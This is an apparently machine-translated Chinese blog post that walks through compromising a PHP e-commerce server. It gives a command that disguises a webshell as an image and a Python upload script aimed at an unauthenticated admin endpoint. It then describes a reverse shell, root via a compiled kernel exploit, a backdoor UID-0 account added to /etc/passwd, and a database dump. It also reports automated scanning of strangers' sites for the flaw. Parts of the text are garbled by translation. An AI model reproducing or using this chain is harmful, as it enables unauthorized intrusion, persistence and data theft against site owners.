最近有个朋友建了一个商城,想让我帮他测试一下,于是就有了这篇文章。发送公众号:AI小子,送你AI学习大礼包。背景说明前几天,一个朋友通过QQ找到我,他说他通过一个百度云搜索软件找到了我分享的“漏洞扫描软件”,他顺着软件上的QQ找到了我,要我帮忙测试下载他的商城,本来我是拒绝的,但是我想别人会专门找我,所以还是帮他测试一下吧,顺便加个饭(为了不给这个用户添麻烦,我会更新文中会出现的URLsnextcoding)》通过阅读本文,你将了解入侵的全过程:如何利用网站的漏洞,一步步拿下服务器权限,修改服务器密码,窃取数据库...什么是标题服务器?服务有什么用?如果“黑客”入侵服务器,他会怎么做?什么是服务器?服务器,通俗地说就是一台放在机房里的电脑。与我们普通电脑不同的是,服务器有固定的IP,还有防火墙,恒温恒湿等。服务器的作用和U盘差不多,都是用来存储文件的,但是服务器存储您制作的网站文件但不仅限于网站,还包括图片、文字、视频、数据库、网站程序等。服务器是做什么用的?服务器具有广泛的功能。网络游戏、网站、一些软件都需要存放在服务器中,有些企业会配备服务器。他们日常工作中的重要数据都存储在服务器的硬盘中。如果“黑客”入侵服务器,他会怎么做?如果安装了小区门禁系统的服务器被黑,他可以随意控制大门或单元门;如果带有监控管理系统的服务器被黑客入侵,他们可以随意操作摄像机。如果安装了网站程序或数据库的服务器被黑了,那么他们就可以窃取网站源代码,修改或窃取数据库信息……至此,大家应该对服务器被黑的危害有所了解了.如果你想了解更多的漏洞,可以去五云知识库学习,里面保留了40000多个有价值的漏洞,都是白帽子们的心血。地址:http://www.anquan.us/有问题可以私信小哥。网络无小事,凡事需谨慎!关于安全问题,在国内某知名搜索引擎上找到了千篇一律的答案。某次搜索的结果这些资料基本上告诉大家怎么排查,怎么防护,治标不治本。你不知道坏人的诡计,你不了解坏人的刁钻过程,被坏人欺负之后,你的心理永远是一样的:慌!图片来自网络故事开头。接下来,我将站在一个“攻击者”的角度,用第一人称通过一个故事来讲述整个测试过程。大家好,我是故事的主人公:小黑。我接到了安全测试订单,对方要我帮忙测试网站的安全性。目前,据我所知,该网站的所有情况如下:一个商城中用php写的开源软件的网站没有了。..要查找开源Web软件漏洞,首先要在网站上查找该软件的任何公开漏洞。如果没有找到,可以自己下载软件测试,仔细排查逻辑或编码问题。幸运的是,前段时间在某安全论坛上发现该软件被曝存在图片上传漏洞:漏洞产生原因:1、后台图片上传接口未进行权限验证;2.上传的图片后缀名未通过验证。检查是否为jpg、jpeg、png、gif。漏洞后果:1、任何用户都可以通过该接口上传图片;2.伪装成图片的脚本文件上传后会被解析。解决方法:1、进行权限验证;2.验证上传图片文件的后缀名;3.您也可以将上传的文件存储在OSS上。这么快就找到了突破口,真是一个好的开始,哈哈。制作图片马由于是图片上传漏洞,接下来需要伪装成图片马上传到客户端网站。警告:为不影响被测网站,本文使用的木马文件均为空文件。Windows系统:复制tp.jpg/b+yjh.phptpyjh.jpg/***tp.jpg:普通图片*yjh.php:一句话木马*tpyjh.php:生成一句话木马伪装成图片*/Linux系统:cattp.jpg/byjh.php>tpyjh.jpg/***tp.jpg:普通图片*yjh.php:一句话木马*tpyjh.php:生成一句话木马伪装成图片*/编写上传脚本和测试漏洞#!/usr/bin/python#-*-coding:utf-8-*-#test_upload.pyimportrequestsimportrandomurl_base=[待测网站根域名]defrequests_post(url,data,files):temp=Noneheaders=get_header()尝试:temp=requests.post(url,data=data,files=files,headers=headers,timeout=5)exceptValueError,e:return错误返回tempdefget_header():user_agent_list=['Mozilla/5.0(WindowsNT6.1;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/39.0.2171.95','Safari/537.36OPR/26.0.1656.60','Opera/8.0(WindowsNT5.1;U;en)','Mozilla/5.0(WindowsNT5.1;U;恩;rv:1.8.1)Gecko/20061208Firefox/2.0.0Opera9.50','Mozilla/5.0(WindowsNT6.1;WOW64;rv:34.0)Gecko/20100101Firefox/34.0','Mozilla/5.0(X11;U;Linuxx86_64;zh-CN;rv:1.9.2.10)Gecko/20100922Ubuntu/10.10''(maverick)Firefox/3.6.10','Mozilla/5.0(WindowsNT6.1;WOW64)AppleWebKit/537.36(KHTML,likeGecko)''Chrome/39.0.2171.71Safari/537.36','Mozilla/5.0(X11;Linuxx86_64)AppleWebKit/537.11''(KHTML,likeGecko)Chrome/23.0.1271.64Safari/537.11',]UserAgent=random.choice(user_agent_list)header={'User-Agent':UserAgent}returnheaderif__name__=='__main__':data={"file_path":"upload/common/"}files={"file_upload":("tpyjh.php",open("tpyjh.php","rb"),"image/png")}url=url_base+'index.php?s=/admin/upload/uploadfile'res=requests_post(url,data,files)printres.status_codeprintres.text.decode('unicode_escape')上传测试:上传成功,返回木马路径:upload/common/1565530537.phpchopperconnection测试,getshell!提示:如果要防止有人通过上传漏洞恶意上传木马文件,请务必关闭上传目录的写入和执行权限!通过上面的操作,找到了这个上传记录的执行权限没有关闭,所以写权限应该差不多,没有太多限制,所以在网上随便找了一个权限比较高的马来西亚人上传。马的操作权限比较小,容易被查杀。如果你上传的马隐私性高(加修饰符、混淆拆分等,避免签名被查杀),权限比较大,可以在服务器长期隐藏,方便提权升级。提示:查杀服务器上的木马,只能查杀带有关键字或特征码的非常愚蠢的木马。如果攻击者避免杀戮,就很难被发现。上传不杀马上传马到服务器:马入口马管理界面注意:关于马,请不要随便使用,网上发布的10个马,10个都有后门!这就是人们所说的黑吃黑!如果您使用从网上下载的马来西亚来测试自己的服务器,可能会被马来西亚的发布者利用,造成无法挽回的损失!反弹shell由于马来西亚没有权限,网页操作不便,此时需要进行反弹shell,方便目标主机通过命令行进行操作。弹跳操作需要有外网的机器,即使不是外网也可以映射。如果是外网服务器,就更简单了。由于小黑手上有一些闲置的测试服务器,为了方便,直接通过服务器弹连。监听端口:执行弹跳命令,执行方式有很多种,不同的目标主机支持不同的执行方式,经过测试我选择了NC弹跳:开始弹跳~弹跳连接成功!很多人可能会觉得,此时,自己似乎已经拥有了Root权限,似乎已经控制了整个目标主机。然而,事情并没有那么简单。先看看我现在是哪个用户:其实不用看也能猜到是Nginx还是Apache,因为我们是通过web连接的,而且是用php写的程序。不相信?看看我们目前连接到哪个目录:初始位置是在马来西亚,所以这个没有问题。但是在运行的过程中,发现无论怎么切换路径,好像都在当前目录下,太不方便了!于是换马,通过Python弹壳。连接成功!并测试了命令行。OK~好像很正常。查看系统信息,首先要查看shadow文件和passwd文件。提示:小黑有一个习惯。如果他能进入目标主机的根目录,小黑会先看看shadow文件和passwd的权限,再进行下一步(好像权限不够,就溜了)。查看内核版本:Linux10-10-34-1873.10.0-123.4.4.el7.x86_64#1SMPFriJul2505:07:12UTC2014x86_64x86_64x86_64GNU/Linux读取/proc/version得到Linux内核版本:Linux版本3.10.0-123.4.4.el7.x86_64(builder@kbuilder.dev.centos.org)(gcc版本4.8.220140120(RedHat4.8.2-16)(GCC))#1SMPFriJul2505:07:12UTC2014查看CentOS版本:EXP提??升权限查看后发现linux内核版本为:Linux3.10.0-123.4.4.el7.x86_64CentOS所以我们需要找一个支持这个的Exp。关于Exp的介绍:https://blog.csdn.net/zhao199...经过搜索,找到了一个内核Exp,可以用来给Root用户提权。Tips:提权的姿势有很多种。这里先试试内核提权,不行再换个姿势。上传Exp到目标主机的/tmp/目录下:查看:CompileExp:Embarrassment~报错:gcc:errortryingtoexec'cc1':execvp:Nosuchfileordirectory#没有输入错误对于这个文件或目录:whereisgcc我发现/usr/bin/gcc中有一个gcc,于是尝试设置PATH路径,命令如下:exportPATH=/usr/bin:$PATH(reset根据你自己的位置)继续编译:40616.c:在函数'procselfmemThread'中:40616.c:99:9:警告:传递'lseek'的参数2使指针没有转换的整数[默认启用]lseek(f,地图,SEEK_SET);^在40616.c:28:0:/usr/include/unistd.h:334:16包含的文件中:注意:应为'__off_t'但参数类型为'void*'extern__off_tlseek(int__fd,__off_t__offset,int__whence)__THROW;^/tmp/ccacvdug.o:在函数“main”中:40616.c:(.text+0x39d):未定义对“pthread_create”的引用40616.c:(.text+0x3b8):对“pthread_create”40616的未定义引用。c:(.text+0x3d1):未定义引用`pthread_create'40616.c:(.text+0x3e5):未定义引用`pthread_join'collect2:error:ldreturned1ex状态又报错了。打开文件看了看,发现参数pthread继续编译:编译过程中出现了一些警告,可以直接忽略,只要ls验证编译成功即可:查看我们当前的id,我的currentuidis997是普通用户:ExecuteExp:Exp执行后,发现当前登录用户名已经变为Root。打印身份证。此时uid为0,成为超级用户。也就是说,这个时候,我已经拥有了整个服务器的控制权限,可以为所欲为。作为入侵者,为了不对自己接下来的操作造成不必要的影响,首先要做的就是为自己单独创建一个账号,并升级为Root权限,方便自己远程登录。如果我不为自己创建一个单独的帐户,我无法直接远程连接到服务器。每次都要用反向shell连接服务器,每次进来都得重新提权,太麻烦了,容易被发现。如此一来,整个养权成果就毁于一旦了。所以,既然是维权升级,那么要做的就是尽可能做到完美。现在添加的用户已经获得了root权限,我的测试就差不多完成了。接下来的操作我直接在我的服务器上演示,避免给对方造成不必要的麻烦。通过adduser[用户名]命令创建一个名为test01的账户,并设置初始密码:vim/etc/passwd打开passwd文件,找到刚刚创建的test01:修改test01的UID(用户ID)为0,0表示superUser:test01:x:1002:1002:,,,:/home/test01:/bin/bash#改成:test01:x:0:1002:,,,:/home/test01:/bin/bash说明/etc/passwd文件:test01:x:1002:1002:,,,:/home/test01:/bin/bash#第一个字段:用户名#第二个字段:密码标志#第三个字段:UID(用户ID)(0:superuser;1~499:systemuser;500~65535:commonuser)#4thfield:GID(userinitialgroupID)#5thfield:userdescription#6thfield:homedirectory(普通用户:/home/username;superuser:/root/)#第7个字段:登录后d的shell#shell是什么?#1.shell是Linux的命令解释器#2.在/etc/passwd中,除了标准的shell是/bin/bash外,还可以写#,如:/sbin/nologin表示未登录,如果administrator把第七个字段改成/sbin/nologin,#表示暂时禁用该用户。现在已经创建了一个独立账户,升级为超级用户,登录试试看是否连接成功:登录成功,你就是超级用户了,ojbk~至此,特权的全过程升级完成,终于可以拿到目标服务器的超级管理权限了。但如果提权器的目的是恶意和冒犯性的,那么现在是他们真正开始表演的时候了。他们可能会修改数据、窃取数据、破坏服务器等。没有人确定他们的真正目的。例如,如果我入侵服务器的真正目的是修改数据,那么接下来我需要找到数据库所在的位置。在入侵测试时,我已经知道对方使用的是Ngnix服务器环境。于是,我就可以找到Nginx的配置文件,先了解一下当前服务器上运行了多少个Web服务,找出我们需要的那个,然后找出它的根目录:我通过cat命令查看了这两个文件,按In大多数情况下,其中之一必须配置相应的域名和网站路径。但实际情况是:里面的内容是完全一样的,而且是默认的nginx.conf配置。然后值得注意的是,默认服务器根路径下必须有文章。去/home/wwwroot/default看:找到了对方的phpmyadmin,回滚了一级,找到了网站所在的位置……接下来就可以得到对方的连接地址,数据库名,账号网站程序中的数据库和操作数据库的密码。接下来就不演示修改数据库等一系列操作了。如果你是新手,对数据库操作不是很了解,可以咨询我。我写了一个数据库备份脚本:#!/bin/bash#名称:bakmysql.sh#backupdir:数据库备份d地址(备份到哪里)backupdir=/home/pigbak/mysqldata#time:时间戳,为了防止备份数据库被覆盖time=`date+%Y%m%d_%H%M%S`#数据库名:lucky#数据库账号:root#数据库密码:123456#如果我们要备份一个名为luky的数据库mysqldump-uroot-p123456幸运|gzip>/home/databackup/mysqldata/lucky_$time.sql.gz一个简短但比较完整的入侵演示到此结束(关于删除日志等一系列操作,我就不演示了,毕竟,我的主要目的是让大家了解安全隐患,并不是教大家如何避免被跟踪),大家应该对攻击者的手段有所了解,知己知彼才能百战百胜。希望大家在某些方面做好相应的防范。如果对某个环节的防御有不明白的可以咨询我。补充在帮朋友完成入侵测试后,发现一件很有意思的事情。使用这个开源软件平台的人很多,令人不寒而栗的是:很多人可能都中枪了!!!他们的服务员不是待宰的羔羊吗??!!!为了验证我的想法,我想在百度中找到所有使用这个开源商城的公司(或个人),找出没有打补丁的网站。于是我用国内知名的搜索引擎搜索:搜索到的结果在一定程度上差点吓到我,竟然有140万条结果。..就算千分之一都能出手,这数据量也不容易啊!如此庞大的数据量,人工测试肯定是靠不住的,于是我根据百度搜索结果用Python写了一个自动化脚本,自动过滤掉所有与开源软件无关的网站,自动进行漏洞测试。记录。新建一个result文件夹,里面放三个文件:successful.txt:存放漏洞的网站地址和漏洞路径fail.txt:存放漏洞的网站地址,但是漏洞有notbeenfoundyetscanner.py:进入漏洞检测脚本进入result文件夹,运行脚本,开始检测:程序最终检测到13个页面(每页20项),检测到8个未修复漏洞的网站。然后我就果断停止了程序,没有继续检测,而是陷入了一个深思...13页的检测结果还是有漏洞:有漏洞的网站很容易破千。但是仔细想想:其实任何一个外表看起来很完美的程序,其实都是有bug的。为什么那么多有bug的网站还能正常运行?如果放在6年前,恐怕很多网站或服务器都被那些脚本小子给搞砸了。其实这和我们生活中遇到小偷是一样的。随着生活水平的提高,并不是因为大家的防盗技术提高了,而是因为大家的生活水平提高了,小偷不需要做无谓的事情了。现在练手服务器只要几块钱,不用冒险去攻击别人。做人正直,做事脚踏实地,绝不触犯道德底线!好了,今天的安全知识普及到此结束。补充说明:文章仅用于普及网络安全知识,提高小伙伴的安全意识,介绍常见漏洞的特点等,如有读者采取危害网络安全的行为,后果自负,并与平台和原作者无关。本人特此声明。想和小朋友一起探索人工智能的奥秘,请长按下方二维码关注我
